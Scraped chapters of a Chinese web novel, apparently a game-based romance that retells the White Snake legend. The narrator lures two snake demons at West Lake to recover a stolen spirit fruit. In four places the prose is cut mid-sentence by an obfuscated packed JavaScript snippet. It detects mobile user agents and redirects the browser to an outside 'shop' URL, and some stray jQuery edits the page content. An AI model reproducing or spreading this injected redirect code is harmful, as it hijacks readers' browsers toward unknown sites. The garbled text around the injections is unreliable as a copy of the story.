你看着鹤童那毛躁躁的脑袋,强忍着伸手去摸的冲动,“师父,我成日听你们念叨着这事那事的,就算没八百回,也该有一千回了。你们真就不能跟我说说到底发生了什么事吗?” 鹤童摇头晃脑,“不能不能,这事儿知道的人越少越好。” 鹿童重重点头,“没错,最好是谁也不知道。” 他们当然是想谁也不知道就最好了,可是你不能啊! 你本轮的任务是只有短短的六个字,双全法和情人泪,你还不知道这两个任务是什么意思,只猜得出关键线索在鹤童、鹿童身上,很可能还跟他们所说的“事”有关。 可自从游戏开始后,你除了来回的听他们念叨这事情如果被仙翁得知后,他们将面临很严重的责罚外,就再没听到别的有用信息了。而当你来口询问这事时,他们又一致的闭口不说。 他们不说,你就没法儿推进剧情。 你不能一直陷在这个死循环里,思来想去,你决定还是得用老方法——一示弱,二攻心,三讲理。 “师父,自打你们把我从山下捡回来,带到乾坤洞抚养,又悉心教我术法,我心里早就把你们当成最亲的家人了。既然是家人,就应该坦诚相待,你们有什么是不能跟我讲的呢?”说到后面,你愈发委屈起来,“难道说,师父还只当弟子是外人,所以处处提防,不肯说实话?” 鹤童、鹿童面上露出动摇的神色。 你窥了一眼,知道这招对他们有效,便再接再厉,暗自狠捏一把大腿肉,挤出两滴鳄鱼的眼泪。 “既然师父不拿弟子当家人,那弟子在这昆仑山待着也没什么意思了,还不如早早下山去当个流浪汉……” “哎呀!”鹤童手忙脚乱的想要安慰你,“其实,哎,不是我们不肯告诉你,只是……也罢,总归这事儿也有五百年了,跟你说一说倒也无妨。” 鹿童一听鹤童这话,当即惊得从石凳蹦起来,“你真要说?” 鹤童用一张稚嫩的脸发出一声苍老的叹气,“五百年了,这件事我整整憋在心里五百年了。这五百年来,我无时无刻不为这事提心吊胆着。今天说出来,对你对我,或许是个解脱。” 鹿童沉默良久,终是长叹一声,不再说话。 五百年前,重华仙君下凡历劫,命簿上书:欲破此劫重登仙位,机缘在于昆仑仙山中的龙血菩提果。 龙血菩提果是上古灵植龙血菩提藤孕育所结的果实,它有易经洗髓、重铸仙骨之奇效。重宝现世,必定会引来妖邪觊觎。为护重华仙君顺利渡劫,南极仙翁遣出座下的鹤童、鹿童,下凡镇守昆仑山,护佑灵果。 可谁知,人有旦夕祸福这个定律,竟连神仙也逃不过。鹤童、鹿童当初信誓旦旦下凡镇守,原以为是万无一失,结果龙血菩提果却被潜藏在昆仑山中的两条蛇妖给偷食了去。 蛇妖偷食灵果后,不仅一身妖邪之气被涤荡殆尽,法力更是大大增长。鹤鹿二位仙童察觉异样,即刻前去捉拿,双方缠斗之际,蛇妖觑得破绽,趁乱遁走。经此一番洗练,蛇妖气息已与凡人无异,而天地广袤,蛇妖这一逃离便如泥牛入海,再无踪迹可寻。 按理说,蛇妖纵使逃离昆仑,不管如何,鹤童、鹿童也该想办法尽力补救才是。可他们非但没有,还像个鸵鸟似的,缩在昆仑山整整五百年。他们将灵果失窃这事隐藏心底,闭口不谈,以为这么做就能掩盖事实,其实此举不过掩耳盗铃罢了。 灵果失窃,机缘断绝,重华仙君迟迟未能归位,日子一日日的过去,南极仙翁迟早会察觉端倪的。待到那时,鹤童、鹿童就真难逃过被拔毛抽骨的命运了。 “师父,这么多年了,难道龙血菩提藤就再没结出第二颗果实?”你问。 蛇妖偷食的是灵果,只要藤蔓尚在,总能再孕育出新的来。 鹿童一张小脸挤成一团,“龙血菩提藤是上古灵植,你当是人间的寻常草木,能一年一开花,一年一结果么?” 鹤童竖起三根手指,绝望道:“一枚成熟的龙血菩提果,需历经一千年成长期,一千年花期,一千年结果期,前后足足三千年才能长成。而且它对生长环境的要求还极为苛刻,生长期内,如遇一点烈日一点冬雪,都不能长成。退一万步来说,就算我们能等得起这么长时间,重华仙君也等不起啊。” 这一局,简直无计可解。 “不,不。”鹿童似乎想到了什么。 “不什么?”鹤童一头雾水。 鹿童眼睛一亮,“我们不必等待三千年,也能令菩提果成熟。” 鹤童想也不想道:“你想事情想疯了吧!就算是仙翁亲临,都未必能提前催熟菩提果,我们又哪来的这般本事?” “如果我们能找到那蛇妖,并将他的妖丹挖出呢?” 鹤童默了默,“你……你是想,将蛇妖的妖丹作为孕育菩提果的养分?” “没错!”鹿童点头道:“蛇妖服下菩提果后,菩提果的灵效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127406|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便与他自身融为了一体,只要我们将他凝聚了全部精元的妖丹挖出,碾做尘粉,作为滋养菩提果的养分,那菩提果便不需要再经历三千年的成长期。” “那也只是你的猜测而已,万一用了蛇妖的妖丹,菩提果还是长不出来呢?” “那就再将他的一身妖血放尽!五百年前,那蛇妖就已在昆仑山修炼了一千年,而后又得菩提果重塑筋骨,如今又再修炼了五百年,他的法力早超寻常妖物。他的妖丹精血,皆是滋养菩提果的上佳之物。有这两样补品在,就算菩提果不能立即长成,也绝对用不着再等三千年之久了。” 鹤童思虑再三,又提出一个新问题,“那我们要怎么找到那两条蛇妖?” 你方才所说的话,犹如推动剧情的一把钥匙。如果你没有说动鹤童、鹿童,剧情之门将永远锁闭。而一旦你开启了这扇门,剧情信息便霎时如潮水般涌来。 你时刻留意着他二人的说话,暗暗记在心里,并试图从这些纷杂的内容寻到一丝有关任务的信息。 鹿童缓缓道:“地藏菩萨座下有一神兽,曰谛听。谛听额间凝有一粒灵珠,曰十方谛听珠,能辨真伪,溯因果,更能寻三界生灵之踪迹。只要我们能将十方谛听珠借来,找到蛇妖便不是难事。” 鹤童正色道:“借灵珠不难,找蛇妖一事也算有了眉目。只是我二人奉仙翁之命镇守昆仑,轻易不能离开。再者,蛇妖当年偷食菩提果后,又经过了五百年的修炼,修为早已今非昔比。届时就算真找到了他,也必定免不去一番苦斗。天条有令,神仙相争,不得殃及凡人。我们需要想一个法子,让那蛇妖自行到昆仑来。” 来了。 来了。 剧情之门已然开启,关键信息你也已得知,现在该到你登场了。 你果断自动请缨,“师父,引蛇妖上昆仑一事,就交给徒儿去做吧。” 鹤童挠了一把头发,他这一挠,让原本就乱糟糟的头发更乱了,“不行!不行!你这三脚猫的功夫,对上那两条蛇妖,必死无疑,绝不能让你去!” “师父,除了我,难道你还有更好的选择么?” 刚才他们自己也说得很清楚了。 菩提果失窃一事,已过了五百年,说什么也不能再拖下去了。 鹤童、鹿童奉命镇守昆仑,不能轻易离开。 而此事事关重大,绝不能向外人透露。 种种条件限制下,除了你,还有谁能担得引蛇妖上昆仑的重任? “就让她去吧。”鹿童说。 鹤童双目圆睁,脸颊红扑扑的,他指着鹿童大骂道:“小春是我从山下捡回来的,我亲眼看着她从一个奶娃娃长到如今这般模样,就算你能不念及这十几年的情分,眼睁睁看她去死,我也不能!” 鹿童的情绪也一下被挑了起来,“小春也是我从山下捡回来的!我也亲眼看她长大成人!鹤童,不是只有你有心,我也有!” 35. 这这这白蛇传啊? 眼见两个只到你腰高的小仙童就要打起来,你赶忙站到他俩中间劝架,“好啦好啦,二位师父,不要吵啦!” 鹤童撇过头去,吸了吸鼻子,泪眼汪汪,“小春,你不能下山去找蛇妖。你会死的。” 鹿童也很纠结,他同样不想看到你出事,但如果你不去的话,仙翁责罚下来,他和鹤童…… 除开游戏这个因素外,你其实还挺感动的,龙血菩提果这事儿上鹤童鹿童做的是有问题,但他们对你的感情也的确是真的。 他们是真的把你当亲徒弟对待。 剧情发展到这里,任务中所说的双全法和情人泪到底怎么一回事,你也大致的猜到了。 双全法,双全法,世间安得双全法,这指的必定是件两难全的事情。 通过鹤童鹿童之口,你得知了五百年前所发生的事,现在剧情的指向很明确:龙血菩提果若不能复生,鹤童鹿童会因看守失责而被南极仙翁重罚;若要使龙血菩提果复生,则需要取蛇妖的妖丹和精血,而这必定会导致蛇妖死亡。 情人泪就更不难猜了,所谓情人泪便是情人之泪,要取得情人的眼泪,那必然得先成为情人。那两个蛇妖,就是你本轮游戏的攻略人物。 一边是对你有养育之恩的师父,一边是即将攻略的情人。 这不论怎么选,都会有一方受到伤害,而你却要促成双全局面的同时,还要将人物成功攻略下来。 这游戏还真是会为难人。 可不管怎么说,这趟下山寻找蛇妖的旅程,你都注定是要踏上的了。 “师父,徒儿年幼失怙,若不是您将我从昆仑山下捡回来,我恐怕早就没命了。师父待我恩重如山,我不能眼睁睁看着师父将要受罚却置之不理。”你言辞恳切,“师父,就让我下山去吧。” 鹤童最终还是松口了,“也罢,就让我传你百年功法护身。你下山找到那蛇妖之后,务必行事小心,万不可暴露身份。若是碰上什么危险,不要逞强,第一时间就跑。” 鹿童叹道:“除这百年功法外,我再为你设一道千里传音符。这符咒我会直接印刻在你神魂中,日后你只需凝神聚气,便能借着这符咒,将心中想说的话传到我们耳边。” “那两条蛇妖,乃一白一青,白为长青为幼。如今算来,那白蛇有一千五百年的修为,青蛇的道行也足有一千年了……” “噢对了,差点忘了说,那白蛇叫洛霖,青蛇叫洛骁。” 就这样,你身负鹤童鹿童传授给你的两百年功法和一道刻入神魂的千里传音符,以及一粒从地藏菩萨那儿借来的十方谛听珠,正式开启了寻妖之旅。 十方谛听珠辨声循位,最终探得洛霖洛骁最近在杭州西湖一带出没。 诶,等等。 嘶……这配置,怎么听着好像有些耳熟呢? 蛇妖。白蛇,青蛇。 杭州西湖。 这,这不是白蛇传吗? 猛然回味过来的你风中凌乱了。 好家伙,这游戏居然在这给你搞了个白蛇传同人。 洛霖、洛骁这两兄弟,对应的白素贞和小青。而你,你的身份不就是许仙? 啊啊啊,啊啊啊,西湖美景,三月天诶~ 有缘千里来相会,无缘对面手难牵~ 此刻,好像有首歌在你耳边重复萦绕。 不过话说回来,白素贞和小青不是在青城山修炼的吗,怎么到洛霖洛骁这儿,修炼场所成了昆仑山不说,还多加了个偷食龙血菩提果的设定? 还有重华仙君,白蛇传里,重华仙君是投胎成了白素贞的孩子,到这游戏里,不会改为投胎成洛霖的孩子了吧? 应该不会吧……洛霖可是个男的啊,这游戏应该不会这么癫,把剧情魔改成这样吧? 本国的历史博大精深,神话鬼怪故事多不胜数,而白蛇传作为其中最缠绵缱绻的篇章之一,更是为世人传颂,流传至今。 下山时,你只有个大概的想法,并不知道该如何去进行任务。而今得知这一关的故事脱胎于白蛇传后,你心里的迷惘如雾退散,却又没有完全明晰,事态仍保留一种朦胧之美。 游戏这么设定不会是没有缘故的。 难道,这个任务和白蛇传有什么关联? 千里莺啼绿映红,水村山郭酒旗风。 南朝四百八十寺,多少楼台烟雨中。 这首诗出自前朝诗人杜牧的七言绝句江南春,他笔下的江南春光美如画,烟雨迷梦空灵雅致。而此刻的西湖虽也阴雨绵绵,却是行人匆匆,泥点四飞,全然寻不到半分诗中描绘的意境。 西湖中,一艘小船飘摇不定。 船头上,两个年轻男子并肩而立。 “哥,你往那个方向看很久了。”洛骁勾起唇角,戏谑道:“若真有心思,何不摇船过去搭话?” 洛霖身形微滞,“你我客居杭州,本就没有定数,何况我们的身份……还是只做萍水相逢吧。” 洛骁轻呵,眉宇间尽显沉郁,“定数,什么定数?我只知道,似这般东躲西藏的日子,我已经过了整整五百年。洛霖,我不知你在怕什么,不过南极仙翁座下的两个仙童,就算当日打不过他,难道今日,凭我二人之力,还打他不过?” 洛霖叹道:“打得过如何,打不过又如何?赢了一时相争,还是赢不过冥冥天意。这五百年光阴,迟早要还回去的。” 洛骁恨恨咬牙,却又无从辩驳,一股不甘的怒火灼烧着他的理智。 看着洛霖,他那怅然的面孔简直叫他几欲发狂,他真想不管不顾做些什么,不论什么都好。哪怕掀翻整个西湖的水,化作滔天巨浪席卷整个杭州。哪怕闹个天翻地覆,人神皆知。 可他不能。 洛霖是他一母同胞的哥哥,这五百年来他们相依为命,而当年洛霖又是为了他才…… 堪堪悬在牙尖的毒液,被强压着咽了回去。 洛骁昳丽的面容上挤出一个笑容,“既然迟早都要还回去,何不及时行乐?” 洛骁双手合什,默念咒语。 霎时,平地起风,雨水瓢泼。 洛霖望着风云骤变的天,拧眉道:“洛骁,你做什么?” 洛骁道:“萍水相逢,若不相逢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127407|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎能算作萍水相逢。我只是帮大哥一把。” 小船借风使力,悠悠飘向岸边。 “这位娘子,雨下得这样大,你若无处可去,便暂时到这艘小船上来歇歇脚罢?” 他竟是打的这个主意。 此刻方才察觉的洛霖再想出言阻止已经迟了。况且,你那被雨水洇湿大半的衣服头发,他无法视若不见,便只好缄默不语。 隐雷阵阵,这雨一时半会儿怕是停不了了。 你拢了拢衣服,看着这两张熟悉的面孔,摆出一副被陌生人好意相助时,而受宠若惊的表情,“如果可以的话,那真是再好不过。” “只是,”你面露踌躇,“我这衣服沾了这么多雨水,恐怕会弄湿官人的船。” “这有什么打紧的?老话常说,人在河边走哪有不湿鞋,况且这船本就游在西湖,哪儿有不沾水的道理?”洛骁伸手拉你,“娘子快别说了,赶紧到船上来避避雨罢。” 这船不大,一方小桌,两条板凳,便占据了船舱的全部空间。 你与洛霖、洛骁对面而坐。 时值三月,乍暖还寒。 被雨水沾湿的衣服紧紧贴着皮肤,一股子冷意从脚底升起,你不由打了个寒颤。 在两条修炼千年的蛇妖面前,你的一举一动,一呼一吸都逃不过他们的感知。 洛霖将外衫脱下,递给了你,“你先穿着吧。” 你万分感激道:“多谢官人。” “……嗯。” 洛骁为你斟了一杯酒,“娘子,喝点酒驱驱寒吧。” 你披着洛霖的外衫,接过洛骁递过来的酒,再次感激道谢。 “相逢即是缘,既是有缘人,又何必左一个谢右一个谢的挂在嘴边。” 顿了顿,他又问起你的名字。 你说:“我姓林,名叫小春。” 也不知是真心还是假意,洛骁将你的名字含在嘴里念了一遍,唇角漾起笑容来,称赞道:“娘子的名字很好听。” “哪里,这名字明明再普通不过。” “怎么会普通?古往今来,不知多少诗篇中含有小春二字。文人墨客做起诗来,最是咬文嚼字,这两个字若不是别有韵味,又怎会被频频做到诗里去的。” 你笑道:“什么诗中有过小春两字,我怎么没读过?” “这要真论起来,可有许多可说之处。‘碧凝香雾笼清晓,红入桃花媚小春’中有小春;‘岩桂芙蓉映菊篱,小春仍上海棠枝’中有小春;‘小春此去无多日,何处梅花一绽香’中亦有小春。” 洛骁一连举了三个例子,全是你没听过的诗文。 你赧然道:“这个名字我用了十几年,反倒不如官人了解得多。” “不过闲时无事看过几本杂书罢了。”稍顿,洛骁又道:“论博学多闻,我不如我大哥。” 他把话引到了一直沉默不语的洛霖身上。 你适时表露出惊讶神色,“二位竟是兄弟么?” 洛骁挑眉,淡淡反问:“难道不像?” 你将目光从洛骁转到洛霖,又从洛霖转回洛骁。 36. 一朝蛇咬 “不,是我方才没留意,只当二位是友人结伴出行,全没往兄弟关系上去想。”你略带歉意,“我眼拙了。” 洛霖稍显突兀的出声,“这有什么。” 你把目光投向他。 他也正直直看你。 不知是不是这一关里,他的身份由人转妖的缘故,他眼角眉梢里多带了几分难以言喻的魅。 这种气质的转变,并不是一种直观的感受,而是悄无声息的,如涓涓的细流,又如袅袅的轻烟。 视线相撞,情愫暗生。 “我是说……”洛霖讷讷道:“若不是主动提醒,谁会将两个人联想到兄弟上去呢。” 你低头,手指绞着衣袖,不大自然的轻声应和,“……噢。” 洛骁目睹一切,了然于心。 “不知娘子家乡何处?” “啊,我……” “可是杭州人士?” “不,不是……”你绞尽脑汁,“我,我家乡就是个普通村落,不值一提。” “那娘子此番到杭州来是……?” “乡下收成不好,我……爹娘,便叫我到这儿来投奔亲戚,找个差事,以补贴家用。” “那你找到了吗?” 一问接一问,盘查人口一般,可偏偏洛骁又语气平常,仿佛这只是再普通不过的闲聊。 你勉笑道:“还没呢。” “那……” 你鼓起胸膛,剪断他话头,“不知二位官人高姓大名?家乡何处?可是杭州人士?若不是,此番来杭又是为了什么?” 一连三问,把他方才问的所有反问回去。 洛骁眼中略过一丝讶异,随即笑道:“我叫洛骁,家兄洛霖。我们祖籍川蜀芙蓉城,确实不是杭州人士。此番到杭州……也是投奔亲戚来了。” “投奔亲戚?”他俩还有亲戚呢? “父母双亡,携了些家财,到这边寻亲戚落脚,顺便学做些生意。” “你们做的什么生意?” “娘子很感兴趣?” 你眼睛一转,“倒也不是。只是……反正我到杭州来也是想找份差事糊口,二位既说是来做生意的,那做生意便少不得雇人帮忙。你看,我年轻力壮,又勤奋努力,你们若是缺人,请我过去,岂不正正合适?” “确实正合适。”洛骁打起竹帘,望向船外,“雨停了。” 你也跟着往外瞧去。 雨确实停了,只不过仍是灰云压顶。 闲聊了这许久,总不能待在船上不走。 上岸后,你想着把外衫解下还给洛霖,洛霖却道:“娘子身上衣物还未干透,这衣衫还是继续穿着吧。” 脚下是一片浸足了雨水的泥地,松松软软,踩不踏实。岸边杨柳依依,无骨的柳丝被风轻拂着,稍长的两缕垂落湖面,荡起一圈又一圈涟漪。 水边杨柳曲尘丝,立马烦君折一枝。 古人惯爱以柳表达分离愁绪,而这一次岸边道别,却不似分离,而似再会。 你紧接道:“总归有借有还。不知官人府上何处,回头我将这衣衫洗干净了,亲自送去还你。” “不……” “我们就住在清波门。”洛骁抢在洛霖前头,说:“你到那儿去,也不必寻人问,只管找一间最大最漂亮的宅子就是。” “好。” 夜晚。客栈。 鹤童的声音通过千里传音符在你脑海炸开。 “怎么样怎么样?小春,你找到那两条蛇妖了么?那两条蛇妖是不是还像五百年前那般可恶?你见到他们,他们有没有为难你?我告诉你,他们要敢为难你,你就搬出为师的名号吓死他们!” 毫无准备就接收一大波噪音的你:“……” 下山前,不是他叫你务必小心行事,万不可暴露身份的么? 怎么一下山,反成了他们要敢为难你,就搬出为师的名号了? 都是做师父的人了,就不能靠谱一点吗? 鹿童似乎忍无可忍,给了鹤童一拳头,你听到鹤童在那边惨叫。 “鹿童,你打我做什么!” 打得好。 远在杭州城的你默默鼓掌。 鹿童恨铁不成钢道:“我做什么,我还要问你做什么!你难道忘了小春此行下山的目的吗?” 鹤童默然。 他就是这般跳脱性子,非得给人打一顿才能恢复正常。 鹿童训完了鹤童,转而对你说道:“小春,此番下山,一切可还顺利?” “一切顺利。有十方谛听珠在手,我很快就找到了他们。今天,我还跟他们碰了一面。” “你感觉如何?” 你沉吟,“我感觉他们……并不像鹤童师父说的那般可恶。” 这是真的。 在鹤童、鹿童口中,洛霖洛骁是偷窃龙血菩提果的无耻盗贼。可今日西湖一见,你却始终无法将盗贼这个身份与他二人画上等号。 尤其是洛霖,他仍像以往攻略过的关卡那般温柔和煦。这样的一个人,又有什么理由会做出那般行窃之事? 可龙血菩提果没了,又确是事实…… 鹿童冷哼,“小春,你且记住,只要是妖,便没一个是好的。哪怕他吞了龙血菩提果,洗尽一身妖邪之气,也改变不了他与生俱来的劣性!” 这话说得未免过于绝对。人尚且有好坏之分,妖又怎能一言概之? “师父……”你想要反驳。 “小春,往日我和你鹤童师父怎么教导你的,难道你都忘了么?” “……徒儿没忘。”你恭顺道。 你听得出鹿童语气已经有些不对了,你刚到杭州和洛霖洛骁碰面,任务才起了个头,实在没必要在这时候,因为妖的善恶之分跟鹿童起争执。 “没忘就好。”鹿童的气顺了一些,“妖惯会诱惑人心,你道行不深,此番让你下山,原也是不得已而为之。你和蛇妖往来时,切记守住本心,不要忘了初衷。” “徒儿知道了。” 鹤童跳出来打圆场,“哎呀,你别太严肃了,小春自小在昆仑长大,从没接触过外界事物,哪里晓得什么妖好妖坏的。况且她也是头一回下山历练,你对她总得多些宽松。” 说完,鹤童又对你说:“小春,他说的话,你也别太放心上。他呀,就是一朝被蛇咬,十年怕井绳。对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127408|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这件事我以前跟你说过没?” “什么事?” “那也是很多年很多年以前的事了。那时候,你鹿童师父还没被仙翁收归座下,不过山野中一只刚开了灵智的梅花鹿。有一回他在林间吃草,不慎被山里的一只妖怪捉了去,幸而逃得及时,才没落个被宰下锅的下场。” 你小心探问:“那只妖怪……该不会这么巧,也是只蛇妖吧?” “是啊!要不我为什么说他是一朝被蛇咬,十年怕井绳?”鹤童压低声音,“到现在,他大腿上都还留着那蛇妖的两个毒牙印去不掉呢!” 鹿童咬牙切齿,“鹤!童!你不说话没人当你是哑巴!” 鹤童啧啧啧,“恼羞成怒了这是。” 你:“……” 你好想笑,又不能笑。 后面,鹿童忙着揍鹤童去了,没空再管你,你们的对话自然而然也就结束了。 经此对话,你大概也清楚了鹿童为什么会对妖抱有这么大的意见。 准确来说,鹿童不是对妖有意见,他真正有意见,是当年那只险些吃了他的蛇妖。 而刚好,那只蛇妖的身份是妖,于是他便将这份极端的偏见,迁怒到了整个妖群身上。 这或许就是所谓的恨屋及乌吧。 既然鹿童对妖持有偏见,那么他对洛霖洛骁的看法,自然也就不能全信了。 那有没有一种可能,五百年前,龙血菩提果失窃一事,其实另有隐情? 不怪乎你会这么想,在经过上一关你被方鸿渐所说的话带偏之后,你就学会了不能完全相信剧情人物说的话。有时候,他们所说的,不一定全然是真,也可能存在误导。 可若真另有隐情,这个隐情,你又该从何探起呢? 问鹤童鹿童?不。 他俩自知闯下大祸,窝在昆仑山整整五百年不敢吭声。如果说五百年前的那件事,他们只向你说了部分实情,或者有意欺瞒了部分实情,那么那未曾言尽的、有意欺瞒的部分,一定是于他们不利的。 问洛霖洛骁?不。 你现在这个身份到杭州,本就怀着不可明说的目的。洛霖洛骁还不知道,今天与他们在西湖上共乘一舟的,根本不是什么来投奔亲戚的乡下人,而是南极仙翁座下两位仙童收的弟子。 你上演着无间道的戏码,现今一切才刚开始,怎么能主动暴露身份? 要怎么才能知道五百年前到底发生了什么呢…… 啊!十方谛听珠! 你忽然想起,鹿童曾经说过,十方谛听珠能辨真伪,溯因果,寻三界生灵之踪迹。 那是不是就是说,你能用它就能回溯时光,探寻因果了? 你就知道,这游戏不会胡乱给道具的。 你兴奋极了,以为这样就找到了解决的方法,可你没想到的是,要想驱动十方谛听珠回溯五百年探寻真相,需得拥有十分高深的法力。 而你虽拥有鹤鹿二童传授的两百年功力,终究根基尚浅,法力薄弱。 换言之,你这点子修为,能用它来找到洛霖洛骁的方位,已经是极限了。 至于回溯时光?别想了孩子,回去多练吧! 37. 缱绻 好了,探寻真相一说暂且先告别一段落。 撇开一切不谈,你现在唯一能确定的,就是龙血菩提果没了这事是真的。 而洛霖洛骁,也确实与这事有着千丝万缕的关系。 龙血菩提果关系着重华仙君能否顺利渡劫,重登仙位。再怎么样,鹤童鹿童都不会拿这件事作假。 想着,你的目光落到了床头挂着的男士外衫。 那是一件月白色的衣衫,用料上乘,绣有暗纹,在跃动的烛火下泛着淡淡光华,一如此时的月色凄迷。 白蛇传中,西湖道别时,许仙借予白素贞一把伞。 而游戏里,却是洛霖借给你一件衣衫。 …… …… 隔了两日,你拎着洗净的衣衫,到清波门去,照洛骁的描述找到一间最大最漂亮的宅子。 立在宅前,抬眼去望,两扇高大紧闭的门呈现出古朴的深棕色,可能是因为近日来总是下雨的缘故,这深棕的色泽也随着天气沉郁了几分。稍走近些,便能闻见从门的罅隙间透出的一股潮湿中包裹着霉味的气息,无孔不入。 铜制饕餮铺首攀着点点锈绿,兽首双目圆睁,眼神却很空洞,正直勾勾的盯着你这位不速之客。 咚。咚咚。 轻轻的敲门声响起。 才两下,里头便传来了脚步声。 是洛骁来给你开门了。 不知是否是为了契合白蛇传这个主题,今天洛骁穿了身青色衣裳。这青不是如春日枝叶新新抽芽的嫩青,而是炎闷夏日里已然长成的老叶。 老叶深深坠下枝头,颜色是像浸满了墨水的螺青。那青青得深沉,仿佛要趁秋天树叶变黄前,竭力挥发出身体的每一寸余热。 “娘子来了,快请进。” 洛骁热情的将你迎进门。 你感觉洛骁对待你的态度有些古怪,到底是哪里古怪,你又说不上来。 直到他说这句。 “瞧,那定定坐在那儿的人,像不像一块石头。” 距离前厅还有半百米的时候,洛骁手一指,指向厅里静坐的人。 “什么石头?” “望夫石。”洛骁以一种玩笑的口吻说道:“传说武昌阳新县北山,有一妇人,她的丈夫被征从军,远赴前线。丈夫去后,久无音信,她便每日站在当初送走丈夫的地方,向远处眺望,最终化作一块石头。” “我大哥自上回同娘子在西湖一别,回来后便是茶不思饭不想,整天对着窗子朝西面发呆,如同木雕泥塑。有时我同他说话,他竟全然未闻。你说,他是不是传说中的那块望夫石?每日左也盼右也盼,就盼着娘子登门。” 他并没有刻意压低声音,而是用正常的声量同你说话。 当你踏足清波门的那一刻,洛霖便已感知到你的气息。 自然,洛骁所说的,他也一字不落的听入了耳中。 洛霖无法再沉心静坐,他站起身,行至门外。 你一抬头,几乎不用刻意去寻,便能看见前厅下那道颀然玉立的身影。 你收回目光,“官人说笑了,或许令兄只是在想别的事情呢?” 洛骁太刻意了。 他太刻意的把你和洛霖联系一起。 他想做什么? “洛骁。” 洛霖声音传来。 洛骁当即住了话,同你一起走到前厅。 洛霖向你点头示意,“娘子安好。” “官人安好,我来归还衣衫。这两日阴雨连绵,衣物洗后难干,所以迟至今日才送来,还望见谅。” “娘子言重了。” 洛骁适时道:“你们先聊着,我去沏杯热茶来。” 他走了,将空间留给你们。 洛霖面有赧色,“洛骁方才说的话,你不要放在心上。” 方才你们还隔着半百米远,就算洛骁没有刻意压低声音,普通人隔着这个距离,也应该听不到对方说话的内容才对。 可现在,洛霖却叫你不要将洛骁的话放在心上。 显然,将洛骁说的话放在心上的不是你,而是他。 他的心乱了。 你状若无事,“怎么会。” 洛霖轻轻叹出一口气,“娘子,请到里头坐坐吧。” “好。” 坐着,沉默良久。 洛骁还没回来。 泡个茶需要这么久么? 你低着头,忽然说:“其实,我今日来,除了归还衣物外,还是来同官人道别的。” “道别?”洛霖猛地一怔,声线不自觉拔高了几分,很快他意识到自己有些失态,又干咳两声,强压心绪道:“为什么?怎么这么……突然?” 你幽幽看着他。 洛霖不大敢看你,只是自顾自地解释,“你上回不是说,要在杭州找份工作么?我以为……你要在这里很久。” “就是没找着,所以才要回去。我那投奔的亲戚,家里也不大富裕。我这几日到他那儿,已是非常叨扰了。我就想着,既然找不到工作,倒不如早些回去的好,也省得再麻烦人家。” “……是么。” “嗯。”你绞着手指,“那日在西湖,多亏二位官人留我在船中避雨,我才不至于太过狼狈。这次再别,也不知何时才能见面了。” 洛霖不语。 你又说道:“不过,老话不也常说么,有缘千里来相会。有缘的话,总会再见的。” 洛霖还是不说话。 他沉默着。沉默着。 他在想什么。 空气在这间宽敞明静的前厅里静默默流淌着。 洛霖眼睫半垂,嘴唇微抿。 光线在洛霖侧脸流转,照不清他此刻的所思所想,却映衬出他肌肤莹皙,清润如玉。 有一点洛骁说错了。 安安静静的洛霖并非木雕泥塑,而是一尊白玉美人像。 你起身,身下的榆木椅在地面划出刺啦一声轻响。 这声轻响,像一把薄如蝉翼的刀片,轻轻划破了满室沉默。 洛霖迅速看向你。目光紧紧跟随。 你退了一步,说:“我该走了。我约了班船,再不走要来不及了,麻烦官人替我跟……” “不。别走。”洛霖说道。 他跟着站起身,想向你前进一步,却又停住。模样万分踌躇。 你略显诧异,“官人还有什么事么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127409|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,不是,我……” 阔袖下一双手紧了又松,松了又紧。洛霖定了定神,终于说道:“你看这宅子这么大,我和洛骁初到杭州,也未请什么人帮忙照料。你若不介意,不如便留下,平日里帮着打理下宅院就好。我会付你薪酬,你也能在此住下。这样既解了住所问题,你又有一份工作,岂不……两全其美。” “可我从没帮人打理过宅院,我怕我做不好。” “没关系的,只是些日常杂务,不会有多难。”洛霖生怕你拒绝似的,紧接着又说:“你若有什么不懂,尽可来问我。” 